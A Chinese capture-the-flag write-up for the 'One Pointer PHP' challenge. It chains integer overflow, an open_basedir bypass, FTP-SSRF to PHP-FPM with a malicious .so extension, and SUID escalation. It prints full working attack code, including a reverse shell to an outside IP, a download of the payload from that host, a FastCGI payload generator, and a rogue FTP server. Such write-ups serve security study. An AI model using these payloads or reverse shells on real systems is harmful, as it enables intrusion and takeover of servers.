[蓝帽杯 2021]One Pointer PHP
知识点:
PHP 数组溢出
如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。
绕过open_basedir
1
| mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
|
加载恶意 .so 扩展
SUID提权
解题:
源码如下:
1 2 3 4 5
| <?php class User{ public $count; } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
|
我们需要进入后门,但是发现if语句那里是一个赋值语句,永真,所以按理说不管怎样返回的都是 True:
但是:
当我们进行$count[]=1
赋值运算时,是往$count[++$user->count]=1
这个赋值语句的键值后面一个赋值
当我们$count[++$user->count]=1
这里的键值刚好没有溢出时,后面赋值语句就会溢出
导致报错,返回值为0,然后就可以成功绕过并进入到 eval() 中了。
所以payload:
1
| O:4:"User":1:{s:5:"count";i:9223372036854775806;}
|
然后修改Cookie
后便可以进行代码执行了:
1
| http://ad6b7418-6248-4047-909c-f67077e14d91.node3.buuoj.cn/add_api.php?backdoor=phpinfo();
|
查看 phpinfo,发现题目做了以下限制:
disable_functions:
过滤了各种命令执行函数,但是像scandir
、file_get_contents
、file_put_contents
等目录和文件操作函数没有被过滤
设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()
与ini_set()
组合来绕过open_basedir
:
1 2 3
| /add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
|
发现可以读出/etc/passwd
,但是读不出/flag
,猜测与权限有关,那我们就要想办法提权了,但是要提权则必须先拿到 Shell 执行命令,也就是得要先绕过disable_functions
。
当读取/proc/self/cmdline
时发现当前进程是php-fpm
:
所以说这道题应该就是通过攻击php-fpm
来绕过disable_functions
了。
首先查看nginx
配置文件/etc/nginx/nginx.conf
:
1 2 3 4 5 6 7
|
include /etc/nginx/conf.d
|
在读取/etc/nginx/sites-enabled/default
发现在本地9001端口开有FastCGI服务,phpinfo
中也表明该项目为FPM/FastCGI,可以通过未授权打FPM rce
FPM其实是一个fastcgi
协议解析器,Nginx等服务器中间件将用户请求按照fastcgi
的规则打包好通过TCP传给FPM
FPM按照fastcgi
的协议将TCP流解析成真正的数据。
例如,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web
目录是/var/www/html
,那么Nginx会将这个请求变成如下key-value
对:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
|
通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini
中的一些设置,而open_basedir
同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /";
因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini
中的设置,覆盖了本身的open_basedir
既然我们可以通过eval()
执行任意代码,那我们便可以构造恶意代码进行 SSRF,利用 SSRF 攻击本地的 PHP-FPM。但是由于这里禁用了许多函数和类,像那些普通能构成 SSRF 的函数和类都无法使用,但是 FTP 协议未被禁用。
我们可以通过在 VPS上搭建恶意的FTP服务器,骗取目标主机将 Payload 重定向到自己的 9001 端口上,从而实现攻击 PHP-FPM 并执行命令。
php 支持的协议和封装:https://www.php.net/manual/zh/wrappers.php,可代替发二进制包的协议只有`ftp://`
ftp 的两种传输模式
ftp 有两种使用模式:主动模式(port)和被动模式(pasv)。
port 要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题,连接有时候会被客户端的防火墙阻止。所以,创立了 pasv 。pasv 只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。
ftp 客户端和服务器之间需要建立两条 tcp 连接,一条是控制连接( 21 端口),用来发送控制指令,另外一条是数据连接( 20 端口 / 随机端口),真正的文件传输是通过数据连接来完成的。
两种传输模式的异同
对于两种传输模式来说,控制连接的建立过程都是一样,均为服务器监听 21 号端口,客户端向服务器的该端口发起 tcp 连接。
两种传输模式的不同之处体现在数据连接的建立,对于数据连接的建立,主被动模式的不同在于数据连接的建立“服务器”是“主动”还是”被动”:
port 服务器通过控制连接知道客户端监听的端口后,使用自己的 20 号端口作为源端口,服务器“主动”发起 tcp 数据连接。
pasv 服务器监听 1024-65535 的一个随机端口,并通过控制连接将该端口告诉客户端,客户端向服务器的该端口发起 tcp 数据连接,这种情况下数据连接的建立相当于服务器是“被动”的。
这里利用了 FTP 协议工作方式中的被动方式,在该方式中,FTP 客户端和服务端在建立控制通道的时候用二者的TCP 21端口建立连接,建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求,客户端连接到 FTP 服务器的此高端端口,通过三次握手建立通道,然后FTP服务器将通过这个端口进行数据的传送。
可见,在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的,而且还有一点是很多地方没有提到的,实际上除了端口,服务器的地址也是可以被指定的。由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:
1
| 227 Entering Passive Mode(192,168,9,2,4,8)
|
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。
file_put_contents() 函数在使用 FTP 协议时,会将第二个参数 data 中的内容上传到 FTP 服务器。由于上面说的被动模式下,服务器的地址和端口是可控的,所以我们就可以将地址和端口指到 127.0.0.1:9000。同时由于 FTP 的特性,其会把 data 原封不动的发给 127.0.0.1:9000,不会有任何的多余内容(类似 Gopher 协议),完美符合攻击 Fastcgi/PHP-FPM 的要求。
所以,我们便可以通过 file_put_contents() 函数构造FTP-SSRF,来实现对目标主机上 PHP-FPM 的攻击。
首先尝试使用 Gopherus 生成的攻击 PHP-FPM 的 Payload 失败,然后尝试通过加载恶意 .so 扩展的方式。
先编写一个扩展(网上的脚本,亘古不变):
1 2 3 4 5 6 7 8
|
__attribute__ ((__constructor__)) void preload (void){ system("bash -c 'bash -i >& /dev/tcp/47.110.124.239/2333 0>&1'"); }
|
编译:
1
| gcc hpdoger.c -fPIC -shared -o hpdoger.so
|
将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中:
1 2
| PHP /add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://47.110.124.239/test/hpdoger.so','/tmp/hpdoger.so');
|
然后简单修改以下脚本(根据 fcgi_jailbreak.php 改的)并执行,生成 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350
| <?php
class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; }
public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } }
public function getKeepAlive() { return $this->_keepAlive; }
private function connect() { if (!$this->_sock) { $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } }
private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . chr(($clen >> 8 ) & 0xFF) . chr($clen & 0xFF) . chr(0) . chr(0) . $content; }
private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } return $nvpair . $name . $value; }
private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; }
private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; }
private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } }
public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } }
public function request(array $params, $stdin) { $response = '';
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('data='.urlencode($request));
} } ?> <?php
$filepath = "/var/www/html/add_api.php"; $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; $php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) );
echo $client->request($params, $code)."\n"; ?>
|
1
| %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
|
然后执行以下脚本自己 vps 上搭建一个恶意的 ftp 服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 23)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n') conn.close()
|
然后在 vps 上开启一个 nc 监听,用于接收反弹的shell
最后通过 eval() 构造如下恶意代码通过 file_put_contents() 函数与我们 VPS 上恶意的 FTP 服务器建立连接:
1
| /add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp:
|
此时当 FTP 建立连接后,会通过被动模式将 Payload 重定向到目标主机本地 9001 端口的 PHP-FPM 上,并成功反弹Shell:
但是读不了flag
所以接下来就是提权阶段了,最常见的就是 suid 提权了。
首先查看具有 suid 的命令:
1
| find / -perm -u=s -type f 2>/dev/null
|
如上图,发现 php 就有 suid 权限,直接进入交互模式执行代码绕过 open_basedir 后读取 flag 即可:
1
| chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
|
利用流程:
FastCGI加载并调用hpdoger.so->bypass open_basedir->ftp-ssrf请求恶意ftp服务->本地php-fpm->rce
参考文章:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://whoamianony.top/2021/05/03/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/[2021%20%E2%80%9C%E8%93%9D%E5%B8%BD%E6%9D%AF%E2%80%9D%E5%88%9D%E8%B5%9B]one_Pointer_php/